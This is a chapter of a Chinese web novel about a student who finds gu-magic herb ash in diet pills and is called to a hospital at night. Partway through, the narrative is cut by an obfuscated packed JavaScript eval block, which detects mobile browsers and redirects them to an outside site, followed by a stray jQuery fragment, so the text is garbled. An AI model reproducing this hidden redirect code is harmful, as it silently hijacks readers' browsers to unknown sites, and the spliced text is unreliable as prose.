吃完饭是晚上七点多了。
宁双上楼拿了一件外套,又给宁敦敦穿上了衣服,两人一狗才走出去。
宁敦敦一离开家就活力四射,恨不得挣脱宁双手里的牵引绳,自己跑出去撒欢。
晚风瑟瑟,树叶被吹落,清新的空气中还掺着泥土和青草的芳香。
两人并着肩走,宁双拢了一下外套,主动开口说:“明天你就要军训了。”
“军训服洗过了吗?”他关心问。
季淮之:“嗯。”
“那就行,反正也就是一个月,最后一周的时候就不会那么严格了,而且我是你们班助,你们教官又和我认识,所以不会让你们太累的。”宁双低头踩着脚下的白色直线,慢慢说着。
他们学校的教官就是学校国旗队的,每年军训都是由大二学生带,军训结束前在连队里找出合适的新生招进国旗队培训,等第二年带新生,就这样重复。
所以他们的教官是大二年级的,宁双和他们认识也不奇怪。
“好。”季淮之接话。
“而且军训两周后,你们还会去附近的森林露营,增加野外实践经验,还是挺有意思的。”宁双想起自己大一军训的时候了,那时候也不算特别冷,大家在一起煮泡面,挖野菜……这些记忆仿佛就在昨天。
“你也会去吗?”季淮之突然问。
宁双偏头看着他,笑着点头说:“会呀,我可是你们的班助,至少得等到你们军训结束,期中考后选出了班委,我的工作才算完成了。”
“总之,你不要担心啦!我们学校的军训还是很人性化的!”
“好。”季淮之又只回了一个简短的字。
牵着宁敦敦从另一条路走出公园,地铁站门口有一位阿姨正在卖关东煮,宁双老远就闻到了味道。
更不用说宁敦敦了,它后腿一蹬,拽着宁双就跑到了摊位面前,“汪汪汪!”
它夹着嗓子叫唤着。
宁双弯腰握住了宁敦敦的嘴巴,然后压低声音教训它:“不要吓到别人了。”
“呜——”宁敦敦立刻发出了委屈的鼻音。
“没关系,我家也养了小狗,我不怕狗。”阿姨微笑着说,她的声音很慈和,亲人。
季淮之跟着宁双走到了摊位前,他问宁双:“你要吃吗?”
“买点吧!我也好久没吃了,等会儿给宁敦敦也吃点。”宁双将宁敦敦夹在了自己双腿.间,准备将阿姨递过来的一次性纸杯接过去,身边季淮之却更快伸手拿了过去。
“我拿着,你来选吧。”季淮之说。
考虑到自己还要腾出一只手来牵制住宁敦敦,宁双就点了头:“也行。”
两人肩挨着肩,宁双拿了几串自己爱吃的菜品装在了纸杯里,“你也选一些你爱吃的,我请你。”
季淮之看着纸杯里宁双选的几串菜品,照模照样地也拿了一模一样的过来。
宁双没在意,付钱的时候又给阿姨比了一个剪刀的手势,说:“阿姨,再装两个福袋,多舀一些汤。”
“好。”阿姨一顿操作,“一共三十六元。”
“好的好的。”宁双微信付了钱。
转身从季淮之端着的纸杯里面拿了一串火腿和牛丸出来,蹲下去喂给了宁敦敦。
“你也快趁热尝尝。”喂完宁敦敦,宁双起身发现季淮之一口没吃,只低头静静看着他和宁敦敦,宁双赶紧开口说话。
“好。”季淮之将纸杯往前送了一些,宁双在里面拿了一串蘑菇往嘴里塞。
“蘑菇好吃!”宁双被烫得直哈气,眼泪都挤出来了。
季淮之被逗乐了,默默从口袋里摸出了一叠手帕给他,宁双赶紧接过擦了擦眼泪,“谢谢。”
他擦完就递给了季淮之,季淮之看了一眼,说:“你先用着吧。”
宁双正愁没带纸巾,顺手就将手帕揣进了口袋里面,“那我回去洗干净了给你。”
他目光忍不住在季淮之脸上多停留了一会儿,季淮之不是喜怒言于表的人,宁双也只能靠猜去判断季淮之是高兴还是不高兴,不像现在,是真心实意地在笑。
两人慢慢往家的方向走了去,季淮之不是很喜欢吃这些东西,只吃了一点素的,剩的全都进了宁双和宁敦敦的肚子。
到家后不久,宁双就和季淮之道晚安回了房间。
宁双用纸杯接了一杯温水回房间,锁上房门后,他将书桌腾空了出来,从抽屉里拿出了从医院里面顺出来减肥药,放进了纸杯里面。
不过多久,药片开始分解,融化。
水表面浮出了一种白色的磷光粉末,宁双拿小刀舀了一点出来,仔细看了看,随后又拿指尖捻了捻,凑近鼻尖闻了一下。
先前闻的时候有很多药的苦香,现在或许是融化在水里了,单闻这种浮状物,其中若有若无的苦味更加明显了,就是一种苦草烧成的灰烬的味道,苗疆大多苦草燃烧后的灰烬都是纯白色的,所以掺在这种药片里也不易察觉。
到底是什么呢……
到了如今这一步,宁双即便再不想承认,也知道明清柠学姐住院这件事和蛊是脱不了关系的,可是怎么会和蛊有关呢?
宁双又凑近粉末闻了一下,他确定这是老家种植的一种苦草的灰烬,苦草分很多种,大多数都只能适量地用,稍微用过量就会出问题,而且每种苦草带来的效果也不同。
他只知道明清柠瘦了,然后畏光,至于有没有其他的症状,宁双今天也没看得仔细,只能明天再去医院看看,然后对症下药了。
“唉……”宁双叹了一口气。
他并不想管和苗疆有关的那些破事,但偏偏这件事又和他认识的朋友扯上了关系,让他不得不去插手。
不过减肥药应该是网上买的吧?难道是学校有人在偷卖吗?宁双皱着眉想了一会儿,给杨梦琪发了消息过去:【学姐,我想问一下清柠学姐的减肥药是在哪里买的啊?】
没多久,杨梦琪回了消息:【就是在大学城夜市,她也是听说那里有人卖什么减肥药,增肌药,体力药,美颜药啥的,说是效果很好才去买的】
这不三无产品吗?吃出问题了不怕被警察抓?咋这么大胆?或者说那人是有什么手段可以瞒过去?
不过一听说卖家是在校外,宁双也松了一口气,还好不是在学校,那要是真的闹大了,应该不至于调查到他们学校来,自然也不会牵连到自己。
其实当年禁蛊这条改革下来后,宁双就知道了其中的危害。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15139083|163702||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
蛊,是他们苗疆赖以生存的东西,同时对外面的人来说也是很危险的东西,所以他们被限制在了村子里,不能随意进出苗寨。
后来改革施行,禁蛊的同时,苗疆族人也被允许自由进出苗寨了,于是渐渐的,外面的人就变成了普通人和苗疆人。
说的是不允许再养蛊,但在利益引诱之下,难免不会出现想用蛊去谋取钱财的人,之前实验大楼那里算一个,现在所谓的【药】也算一个。
想了这么多,宁双也想累了。
他蹬掉鞋子平躺到了床上,盯着头顶的吊灯,又抿着嘴想了想,反正把明清柠给治好了应该就没啥事了,要真是闹大了,长老们应该会出来处理的。
他一个支系出身,犯不着去操心族里大事。
这样一想,宁双果然不觉得头疼心烦了。
——
夜半时分,医院静悄悄的,走廊的灯都关掉了,整条走廊全是疏散指示标识牌的绿光。
2109病房。
杨梦琪已经在陪护床上睡着了。
病床上输液的人突然睁开了眼,就这样沉默了很多秒,她双手开始互相抓挠着自己的手臂,发出“呲嚓呲嚓”的声音,仿佛是在某种带有鳞片的动物身上抓挠一样。
到最后,她的手指甲上一片血肉模糊,呼吸越喘越急。
“清柠……你怎么了?”这样的动静吵醒了陪护床上的杨梦琪,她揉了揉眼睛,顺手摁开了手边的台灯开关,一时间,屋内被昏黄色的光笼罩了。
她看向了病床上的人。
下一秒,她猛地张大了眼睛,在她的视野里,白色的床单此刻被鲜血染红了大片,明清柠偏着脑袋,张着大眼紧紧盯着杨梦琪。
不一会——
“医生!医生!”杨梦琪跑出了病房,整条走廊的感应灯都亮了。
……
晚上一点多,宁双被手机铃声吵醒。
他在枕下摸了半天,拿到手机后看也没看就接下了电话。
“喂,你好。”宁双闭着眼睛,含糊问好。
电话那头没说话,只是女孩子抽泣的声音,宁双一下就清醒了,赶紧坐起身看了一眼备注,是杨梦琪的。
“学姐?怎么了?是清柠学姐出什么事了吗?”宁双赶紧问。
杨梦琪抽泣着,磕磕绊绊说:“宁双,你,你现在可以来医院吗?清柠的病突然加重了。”
“我已经联系了清柠的父母,他们正在赶来的……飞机上,大概明天早上才会到。”杨梦琪不知道该联系谁了,想到宁双离开前说还会再来看明清柠的,只好先给宁双打去电话说这件事。
宁双赶紧翻身下床,温声安抚对方:“我现在就过来,你先别急,对了,先不要联系其他人来医院了,人来太多了也不好。”
“好,我就联系了你和她的父母。”杨梦琪擦掉了眼泪,看向了病床,医生过来给明清柠打了一支镇定剂,现在她已经熟睡过去了,手臂上的抓痕也包扎好了,刚刚发生的一切仿佛就像是自己的一个梦。
宁双挂了电话,匆忙找了一套衣服换上,然后从衣柜底下的柜子里拿出了好几瓶解蛊的药,这些都是针对苦草的解蛊药,如果能弄清楚明清柠中的是哪种蛊,就可以对症下药了。